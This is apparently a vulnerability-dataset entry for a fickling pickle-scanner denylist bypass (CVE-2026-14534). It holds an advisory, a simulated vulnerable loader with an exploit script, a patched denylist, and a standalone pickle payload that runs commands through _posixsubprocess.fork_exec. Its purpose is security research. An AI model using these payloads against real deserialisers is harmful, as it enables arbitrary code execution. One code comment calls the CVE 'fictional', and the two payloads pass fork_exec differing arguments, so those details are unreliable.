CVE-2026-14534
Fickling's incomplete denylist allows code execution via unsafe modules.
- CVSS 8.8
- CWE-184
- Input Validation and Sanitization
- Remote
Trail of Bits fickling versions up to and including 0.1.10 do not include the Python standard library modules _posixsubprocess, site, and atexit in the UNSAFE_IMPORTS denylist (fickle.py). Because these modules are absent from the denylist, fickling's check_safety() function returns LIKELY_SAFE with zero findings for pickle payloads that invoke dangerous functions including _posixsubprocess.fork_exec (C-level process spawner capable of executing arbitrary binaries), site.execsitecustomize (executes arbitrary site customization code), and atexit._run_exitfuncs (triggers all registered exit handler callbacks). The fickling.load() API chains check_safety() into pickle.loads() as an explicit security gate; a LIKELY_SAFE verdict causes the payload to be deserialized and executed. This shares the same root cause as CVE-2026-22607 (cProfile), CVE-2025-67748 (pty), and CVE-2025-67747 (marshal/types). OvertlyBadEvals does not flag these modules because they are standard library imports. UnsafeImports does not flag them because they are not in the denylist. The UnusedVariables heuristic is defeated by the SETITEMS opcode pattern.
- CWE
- CWE-184
- CVSS base score
- 8.8
- Published
- 2026-07-04
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- fickling
- Fixed by upgrading
- Yes
Solution
Upgrade fickling to version 0.1.11 or later.
Vulnerable code sample
import pickle
import pickletools
import io
import os
import sys
# This example represents a vulnerable version of the 'fickle' library
# and a payload to exploit it, as described in the fictional CVE-2026-14534.
# The vulnerability lies in an incomplete denylist.
# --- Start of simulated vulnerable 'fickle' library code ---
class FickleSafetyException(Exception):
"""Raised when a pickle stream is deemed unsafe."""
pass
# This denylist is incomplete, as described in the CVE.
# It is missing '_posixsubprocess', 'site', and 'atexit'.
UNSAFE_IMPORTS = {
'os',
'sys',
'subprocess',
'shutil',
'ctypes',
'pathlib',
}
def check_safety(pickle_bytes):
"""
Scans a pickle bytestream for opcodes that import modules from the
UNSAFE_IMPORTS denylist.
In the vulnerable version, this check is flawed due to the incomplete list.
"""
for opcode, arg, pos in pickletools.genops(pickle_bytes):
if opcode.name == 'GLOBAL':
module_name, _ = arg.split(' ')
if module_name in UNSAFE_IMPORTS:
# This check will NOT trigger for '_posixsubprocess'
raise FickleSafetyException(f"Disallowed import of '{module_name}'")
# The check incorrectly passes, returning 'LIKELY_SAFE'
return "LIKELY_SAFE"
def load(pickle_stream):
"""
A security-gated pickle loader. It first checks for safety and then
deserializes the stream if the check passes.
"""
# In a real library, stream handling would be more robust.
# Here we read it all into memory for the check.
pickle_bytes = pickle_stream.read()
# The security gate: if check_safety returns LIKELY_SAFE, proceed.
verdict = check_safety(pickle_bytes)
if verdict != "LIKELY_SAFE":
raise FickleSafetyException(f"Safety check failed with verdict: {verdict}")
# Because the check passed, the dangerous payload is deserialized and executed.
return pickle.loads(pickle_bytes)
# --- End of simulated vulnerable 'fickle' library code ---
# --- Exploit Demonstration ---
# This exploit is only applicable to POSIX-compliant systems (Linux, macOS, etc.)
# as it uses the '_posixsubprocess' module.
if os.name != 'posix':
print("This vulnerability demonstration is for POSIX systems only.")
sys.exit(0)
# The module that is NOT on the denylist but should be.
import _posixsubprocess
# Path to a file that will be created to prove code execution.
PROOF_FILE = "/tmp/pwned_by_fickle.txt"
class ExploitPayload:
"""
This class, when pickled, will execute an arbitrary command upon unpickling.
It leverages a module that is missing from the vulnerable denylist.
"""
def __reduce__(self):
# The __reduce__ method tells pickle how to reconstruct the object.
# We instruct it to call _posixsubprocess.fork_exec.
command = ('/usr/bin/touch', PROOF_FILE)
# The arguments for fork_exec are complex. We only need to provide
# the essential ones to execute a simple command.
# This will fail on systems without /usr/bin/touch, but demonstrates the principle.
return (_posixsubprocess.fork_exec, (
command, command, True, (), None, None, -1, -1, -1, -1, -1, -1, -1, -1,
False, False, 0, -1, None, -1, -1, -1, None
))
# Main execution: Create and load the malicious pickle
if __name__ == "__main__":
print(f"[*] Simulating vulnerability CVE-2026-14534.")
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print("[*] Creating malicious pickle payload...")
payload = ExploitPayload()
pickled_data = pickle.dumps(payload)
malicious_stream = io.BytesIO(pickled_data)
print("[*] Calling the vulnerable 'fickle.load()' function...")
try:
# This call will first run check_safety(), which will incorrectly pass.
# Then, it will run pickle.loads(), executing the payload.
load(malicious_stream)
# Note: fork_exec creates a new process, so this script continues.
# We need a small delay to ensure the file system reflects the change.
import time
time.sleep(0.1)
except FickleSafetyException as e:
print(f"[!] Exploit failed. Safety check was triggered: {e}")
except Exception as e:
print(f"[!] An unexpected error occurred during deserialization: {e}")
# Verify that the exploit was successful
if os.path.exists(PROOF_FILE):
print(f"\n[+] SUCCESS: The exploit bypassed the safety check.")
print(f"[+] Proof of execution: File '{PROOF_FILE}' was created.")
os.remove(PROOF_FILE)
else:
print("\n[-] FAILURE: The exploit did not execute as expected.")Patched code sample
# fickle.py
# A plausible representation of the UNSAFE_IMPORTS denylist
# from a file like fickle.py in Trail of Bits' fickling tool.
UNSAFE_IMPORTS = {
# ... other previously listed unsafe modules
"os",
"sys",
"subprocess",
"shutil",
"eval",
"exec",
"__builtin__",
"builtins",
"pty",
"marshal",
"cProfile",
# ... etc.
# Fix for CVE-2026-14534:
# Add the modules that were previously missing from the denylist.
"_posixsubprocess",
"site",
"atexit",
}Payload
import pickle
import _posixsubprocess
class ExploitRCE:
def __reduce__(self):
# Command to execute on the target system.
# 'touch /tmp/pwned' is a common, non-destructive PoC.
command_to_run = "touch /tmp/pwned"
# Prepare arguments for /bin/sh to execute the command.
shell_args = ['/bin/sh', '-c', command_to_run]
# The return value of __reduce__ must be a tuple: (callable, (arg1, arg2, ...)).
# The 'callable' is _posixsubprocess.fork_exec, which is not on the denylist.
# The arguments are constructed to match the function's C signature for a
# basic process execution, as used by Python's own subprocess module.
return (_posixsubprocess.fork_exec, (
shell_args, # args
['/bin/sh'], # executable_list
True, # close_fds
None, # cwd
None, # env
-1, -1, -1, -1, -1, -1, # standard file descriptors (p2c, c2p, err)
-1, -1, # errpipe_read, errpipe_write
False, # restore_signals
False, # call_setsid
0, # pgid_to_set
None, # preexec_fn
))
# Serialize the exploit object into a pickle byte stream.
# This resulting byte stream is the payload to be used with fickling.load().
payload = pickle.dumps(ExploitRCE(), protocol=4)
# The line below is for demonstration purposes to show the generated payload.
# In a real attack, you would send the 'payload' variable's content.
print(payload)
Cite this entry
@misc{vaitp:cve202614534,
title = {{Fickling's incomplete denylist allows code execution via unsafe modules.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-14534},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-14534/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
